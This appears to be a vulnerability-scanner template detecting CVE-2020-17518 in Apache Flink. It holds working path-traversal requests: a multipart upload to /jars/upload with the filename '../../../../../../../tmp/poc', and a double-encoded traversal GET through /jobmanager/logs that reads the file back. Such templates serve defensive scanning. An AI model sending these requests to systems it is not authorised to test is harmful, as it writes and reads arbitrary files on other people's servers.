2021-01-06 17:38:45 +00:00
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id: CVE-2020-17518
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info:
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name: Apache Flink Upload Path Traversal
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author: pd-team
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severity: critical
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reference: https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
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2021-02-05 19:44:41 +00:00
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tags: cve,cve2020,apache,traversal
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2021-01-06 17:38:45 +00:00
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requests:
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- raw:
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- |
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POST /jars/upload HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Accept-Language: en
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
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Content-Length: 187
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2021-01-07 18:49:39 +00:00
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2021-01-06 17:38:45 +00:00
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------WebKitFormBoundaryoZ8meKnrrso89R6Y
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Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"
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2021-01-07 18:49:39 +00:00
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2021-01-06 17:38:45 +00:00
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test-poc
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------WebKitFormBoundaryoZ8meKnrrso89R6Y--
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- method: GET
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path:
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- '{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc'
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matchers:
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- type: dsl
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dsl:
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- 'contains(body, "test-poc") == true && status_code == 200' # Using CVE-2020-17519 to confirm this.
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